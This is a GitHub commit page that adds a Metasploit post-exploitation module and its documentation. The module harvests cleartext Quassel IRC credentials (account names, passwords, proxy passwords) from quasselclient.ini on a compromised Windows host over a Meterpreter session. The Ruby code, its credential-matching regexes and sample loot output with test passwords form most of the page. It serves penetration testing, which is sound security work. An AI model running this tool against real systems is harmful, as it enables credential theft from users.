Skip to content

Commit d097ccf

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#19166, Add Quassel IRC PackRat module
Merge branch 'land-19166' into upstream-master
2 parents df7d314 + c8ce9dc commit d097ccf

File tree

2 files changed

+226
-0
lines changed

2 files changed

+226
-0
lines changed

‎documentation/modules/post/windows/gather/credentials/quassel_irc.md

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
## Vulnerable Application
2+
3+
This post-exploitation module extracts clear text credentials from the Quassel IRC Client.
4+
5+
The Quassel IRC Client is avaialble from (https://quassel-irc.org/downloads).
6+
7+
This module extracts information from the quasselclient.ini file in the "AppData\Roaming\quassel-irc.org" directory.
8+
9+
This module extracts server information such as host name, port, account name, password and proxy password.
10+
11+
12+
## Verification Steps
13+
14+
1. Start MSF console
15+
2. Get a Meterpreter session on a Windows system
16+
3. use post/windows/gather/credentials/quasell_irc
17+
4. Set SESSION 1
18+
5. enter 'run' to extract credentials from all applications
19+
20+
21+
## Options
22+
### VERBOSE
23+
24+
By default verbose is turned off. When turned on, the module will show information on files
25+
which aren't extracted and information that is not directly related to the artifact output.
26+
27+
28+
### STORE_LOOT
29+
This option is turned on by default and saves the stolen artifacts/files on the local machine,
30+
this is required for also extracting credentials from files using regexp, JSON, XML, and SQLite queries.
31+
32+
33+
### EXTRACT_DATA
34+
This option is turned on by default and will perform the data extraction using the predefined
35+
regular expression. The 'Store loot' options must be turned on in order for this to take work.
36+
37+
## Scenarios
38+
### Quassel Client v0.14.0 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Default Output
39+
```
40+
msf6 post(windows/gather/credentials/quassel_irc) > run
41+
42+
[*] Filtering based on these selections:
43+
[*] ARTIFACTS: All
44+
[*] STORE_LOOT: true
45+
[*] EXTRACT_DATA: true
46+
47+
[*] Quassel irc's Quasselclient.ini file found
48+
[*] Downloading C:\Users\test\AppData\Roaming\quassel-irc.org\quasselclient.ini
49+
[*] Quassel irc Quasselclient.ini downloaded
50+
[+] File saved to: /home/kali/.msf4/loot/20240507163717_default_10.0.0.2_QuasselIRCquass_570372.ini
51+
52+
[+] 1\HostName=10.245.100.2
53+
[+] 2\HostName=10.0.0.3
54+
[+] 1\Port=4242
55+
[+] 2\Port=1234
56+
[+] 1\AccountName=Test
57+
[+] 2\AccountName=Test#2
58+
[+] 1\Password=tiaspbiqe2r
59+
[+] 2\Password=tiaspbiqe2r
60+
[+] 1\ProxyHostName=localhost
61+
[+] 2\ProxyHostName=
62+
[+] 1\ProxyPort=8080
63+
[+] 2\ProxyPort=8080
64+
[+] 1\ProxyUser=test
65+
[+] 2\ProxyUser=
66+
[+] 1\ProxyPassword=tiaspbiqe2r
67+
[+] 2\ProxyPassword=
68+
[+] File with data saved: /home/kali/.msf4/loot/20240507163717_default_10.0.0.2_EXTRACTIONquasse_134569.ini
69+
[*] PackRat credential sweep Completed
70+
[*] Post module execution completed
71+
72+
```
73+
74+
### Quassel Client v0.14.0 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Verbose Output
75+
```
76+
msf6 post(windows/gather/credentials/quassel_irc) > run
77+
78+
[*] Filtering based on these selections:
79+
[*] ARTIFACTS: All
80+
[*] STORE_LOOT: true
81+
[*] EXTRACT_DATA: true
82+
83+
[*] Starting Packrat...
84+
[-] Quassel irc's base folder not found in user's user directory
85+
86+
[*] Starting Packrat...
87+
[*] Quassel irc's base folder found
88+
[*] Found the folder containing specified artifact for quasselclient.ini.
89+
[*] Quassel irc's Quasselclient.ini file found
90+
[*] Processing C:\Users\test\AppData\Roaming\quassel-irc.org
91+
[*] Downloading C:\Users\test\AppData\Roaming\quassel-irc.org\quasselclient.ini
92+
[*] Quassel irc Quasselclient.ini downloaded
93+
[+] File saved to: /home/kali/.msf4/loot/20240507164141_default_10.0.0.2_QuasselIRCquass_310535.ini
94+
95+
[*] Searches for credentials (USERNAMES/PASSWORDS)
96+
[+] 1\HostName=10.245.100.2
97+
[*] Searches for credentials (USERNAMES/PASSWORDS)
98+
[+] 2\HostName=10.0.0.3
99+
[*] Searches for credentials (USERNAMES/PASSWORDS)
100+
[+] 1\Port=4242
101+
[*] Searches for credentials (USERNAMES/PASSWORDS)
102+
[+] 2\Port=1234
103+
[*] Searches for credentials (USERNAMES/PASSWORDS)
104+
[+] 1\AccountName=Test
105+
[*] Searches for credentials (USERNAMES/PASSWORDS)
106+
[+] 2\AccountName=Test#2
107+
[*] Searches for credentials (USERNAMES/PASSWORDS)
108+
[+] 1\Password=tiaspbiqe2r
109+
[*] Searches for credentials (USERNAMES/PASSWORDS)
110+
[+] 2\Password=tiaspbiqe2r
111+
[*] Searches for credentials (USERNAMES/PASSWORDS)
112+
[+] 1\ProxyHostName=localhost
113+
[*] Searches for credentials (USERNAMES/PASSWORDS)
114+
[+] 2\ProxyHostName=
115+
[*] Searches for credentials (USERNAMES/PASSWORDS)
116+
[+] 1\ProxyPort=8080
117+
[*] Searches for credentials (USERNAMES/PASSWORDS)
118+
[+] 2\ProxyPort=8080
119+
[*] Searches for credentials (USERNAMES/PASSWORDS)
120+
[+] 1\ProxyUser=test
121+
[*] Searches for credentials (USERNAMES/PASSWORDS)
122+
[+] 2\ProxyUser=
123+
[*] Searches for credentials (USERNAMES/PASSWORDS)
124+
[+] 1\ProxyPassword=tiaspbiqe2r
125+
[*] Searches for credentials (USERNAMES/PASSWORDS)
126+
[+] 2\ProxyPassword=
127+
[+] File with data saved: /home/kali/.msf4/loot/20240507164141_default_10.0.0.2_EXTRACTIONquasse_967148.ini
128+
[*] PackRat credential sweep Completed
129+
[*] Post module execution completed
130+
131+
```

‎modules/post/windows/gather/credentials/quassel_irc.rb

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Post
7+
# this associative array defines the artifacts known to PackRat
8+
include Msf::Post::File
9+
include Msf::Post::Windows::UserProfiles
10+
include Msf::Post::Windows::Packrat
11+
ARTIFACTS =
12+
{
13+
application: 'Quassel IRC',
14+
app_category: 'IRC',
15+
gatherable_artifacts: [
16+
{
17+
filetypes: 'bookmarks',
18+
path: 'AppData',
19+
dir: 'quassel-irc.org',
20+
artifact_file_name: 'quasselclient.ini',
21+
description: 'Saved Bookmarks',
22+
credential_type: 'text',
23+
regex_search: [
24+
{
25+
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
26+
extraction_type: 'credentials',
27+
regex: [
28+
'(?i-mx:[0-9]+\\\HostName=.*)',
29+
'(?i-mx:[0-9]+\\\Port=.*)',
30+
'(?i-mx:[0-9]+\\\AccountName.*)',
31+
'(?i-mx:[0-9]+\\\Password=.*)',
32+
'(?i-mx:[0-9]+\\\ProxyHostName=.*)',
33+
'(?i-mx:[0-9]+\\\ProxyPort=.*)',
34+
'(?i-mx:[0-9]+\\\ProxyUser.*)',
35+
'(?i-mx:[0-9]+\\\ProxyPassword=.*)',
36+
]
37+
}
38+
]
39+
}
40+
]
41+
}.freeze
42+
43+
def initialize(info = {})
44+
super(
45+
update_info(
46+
info,
47+
'Name' => 'Quassel IRC credential gatherer',
48+
'Description' => %q{
49+
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
50+
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
51+
Further details can be found in the module documentation.
52+
This is a module that searches for credentials stored on Quassel IRC Client in a windows remote host.
53+
},
54+
'License' => MSF_LICENSE,
55+
'Author' => [
56+
'Jacob Tierney',
57+
'Kazuyoshi Maruta',
58+
'Daniel Hallsworth',
59+
'Barwar Salim M',
60+
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
61+
],
62+
'Platform' => ['win'],
63+
'SessionTypes' => ['meterpreter'],
64+
'Notes' => {
65+
'Stability' => [CRASH_SAFE],
66+
'Reliability' => [],
67+
'SideEffects' => []
68+
}
69+
)
70+
)
71+
72+
register_options(
73+
[
74+
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
75+
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
76+
# enumerates the options based on the artifacts that are defined below
77+
OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
78+
]
79+
)
80+
end
81+
82+
def run
83+
print_status('Filtering based on these selections: ')
84+
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
85+
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
86+
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
87+
88+
# used to grab files for each user on the remote host
89+
grab_user_profiles.each do |userprofile|
90+
run_packrat(userprofile, ARTIFACTS)
91+
end
92+
93+
print_status 'PackRat credential sweep Completed'
94+
end
95+
end

0 commit comments

Comments
 (0)